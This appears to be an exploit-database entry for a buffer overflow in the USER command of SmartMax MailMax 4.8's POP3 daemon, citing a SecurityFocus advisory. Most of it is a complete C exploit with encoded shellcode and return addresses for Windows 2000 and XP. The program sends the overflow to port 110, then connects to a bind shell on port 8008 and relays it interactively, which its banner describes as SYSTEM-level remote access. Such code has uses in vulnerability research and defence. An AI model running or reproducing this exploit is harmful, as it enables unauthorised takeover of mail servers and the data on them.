SmartMax MailMax 4.8 - Popmax Buffer Overflow

source: http://www.securityfocus.com/bid/5285/info

Reportedly, MailMax is vulnerable to buffer overflow attacks against its POP3 daemon, popmax. The vulnerability occurs due to improper bounds checking of the 'USER' argument.

It is possible for an attacker to cause the buffer overflow condition in popmax by submitting an overly large value for the 'USER' argument. This will cause popmax to crash and execute attacker supplied code.

/*

	mmaxexp.c

	July 20th, 2002



	SmartMax MailMax Standard/Professional 4.8

	http://www.smartmax.com

	

	an overflow is present in the USER argument of

	the pop3max daemon.. however, we do not get eip..

	but with buffers of various sizes we can get

	eax, ecx, and edx.. edx being the most useful as

	shown below..

	

	CALL [EDX+0C] @RVA413A08



	so now we just need to drop the rva of our shell

	that we'd like to call into memory somewhere 

	(-0C of course)..see CALL



	YAY!@$!

	

	2c79cbe14ac7d0b8472d3f129fa1df55 ([email protected])		

*/

	

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <sys/errno.h>

#include <unistd.h>



/* Windows 2000 Professional/Server */

char EDX2k[]  = "\x30\xd7\x68\x06";

char CALL2k[] = "\xec\xd9\x68\x06";



/* Windows XP Professional */

char EDXxp[]  = "\x30\xd7\x25\x06";

char CALLxp[] = "\xec\xd9\x25\x06";



/* we repeat the payload ptr on every */

/* dword prior to our target rva in   */

/* order to increase those sexy odds  */



char shell[2205];



char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";



char payload[] ="\x55\x8b\xec"

		"\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"

		"\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"

		"\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"

		"\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"

		"\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"

		"\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"

		"\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"

		"\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"

		"\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"

		"\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"

		"\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"

		"\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"

		"\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"

		"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"

		"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"

		"\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"

		"\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"

		"\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"

		"\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"

		"\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"

		"\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"

		"\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"

		"\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"

		"\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"

		"\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"

		"\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"

		"\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"

		"\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"

		"\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"

		"\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"

		"\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"

		"\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"

		"\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"

		"\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"

		"\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"

		"\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"

		"\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"

		"\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"

		"\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"

		"\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"

		"\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"

		"\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"

		"\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"

		"\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"

		"\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"

		"\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"

		"\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"

		"\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"

		"\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"

		"\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"

		"\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"

		"\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"

		"\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"

		"\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"

		"\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"

		"\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"

		"\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"

		"\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"

		"\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"

		"\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"

		"\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"

		"\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"

		"\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"

		"\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"

		"\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"

		"\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"

		"\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"

		"\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"

		"\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"

		"\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"

		"\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"

		"\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"

		"\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"

		"\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"

		"\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"

		"\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"

		"\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

		"\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"

		"\x0d\x0a";



main(char argc, char **argv){

        int fd, i, opt;

        int bufsize = 1024;

        int *buffer = (int *)malloc(bufsize);

        struct sockaddr_in sin;

        struct hostent *he;

        struct in_addr in;



	printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");

	printf("2c79cbe14ac7d0b8472d3f129fa1df55 ([email protected])\n\n");



        if (argc < 4){

                printf("usage: %s <hostname> -t <type>\n\n", argv[0]);

                printf("types: 0 - Windows 2000 Professional/Server\n");

                printf("       1 - Windows XP Professional\n\n");

                exit(-1);

        }



        while ((opt = getopt(argc, argv, "t:"))){

        	switch(opt){

                case 't':

			 if(optarg[0] == '0'){

			 	strcpy(shell, header);

			 	for(i = 1;i < 247;i++){

			 		strcat(shell, CALL2k);

			 	}

			 	strcat(shell, EDX2k);

			 	strcat(shell, payload);

			 	break;

			 }

			 

			 if(optarg[0] == '1'){

			 	strcpy(shell, header);

			 	for(i = 1; i < 247;i++){

			 		strcat(shell, CALLxp);

			 	}

			 	strcat(shell, EDXxp);

			 	strcat(shell, payload);

			 	break;

			 }

                         

                         printf("invalid type\n\n");

                         printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");

                         printf("       1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");

                         exit(-1);

                }

                break;

        }



        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}



        if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}

        else

        if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}



        sin.sin_family = AF_INET;

        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));

        sin.sin_port = htons(110);

 

        printf("connecting to tcp port 110 (POP3)...\n");

        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}

 

        printf("connected.\n\n");

 	sleep(1);

        printf("dumping payload...");

        if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}

	printf("done\n");

	printf("code dumped.\n\n");



        close(fd);



        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}



        sin.sin_family = AF_INET;

        sin.sin_addr.s_addr = inet_addr(argv[1]);

        sin.sin_port = htons(8008);



        printf("connecting to tcp port 8008... (wait 3s)\n");

        sleep(3);

        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);}

        printf("success! izn0wnz3rat3d!\n\n");



        while(1) {

                fd_set input;



                FD_SET(0,&input);

                FD_SET(fd,&input);

                if((select(fd+1,&input,NULL,NULL,NULL))<0) {

                        if(errno==EINTR) continue;

                        printf("connection reset\n"); fflush(stdout);

                        exit(1);

                }

                if(FD_ISSET(fd,&input))

                        write(1,buffer,read(fd,buffer,bufsize));

                if(FD_ISSET(0,&input))

                        write(fd,buffer,read(0,buffer,bufsize));

        }



        close(fd);



}
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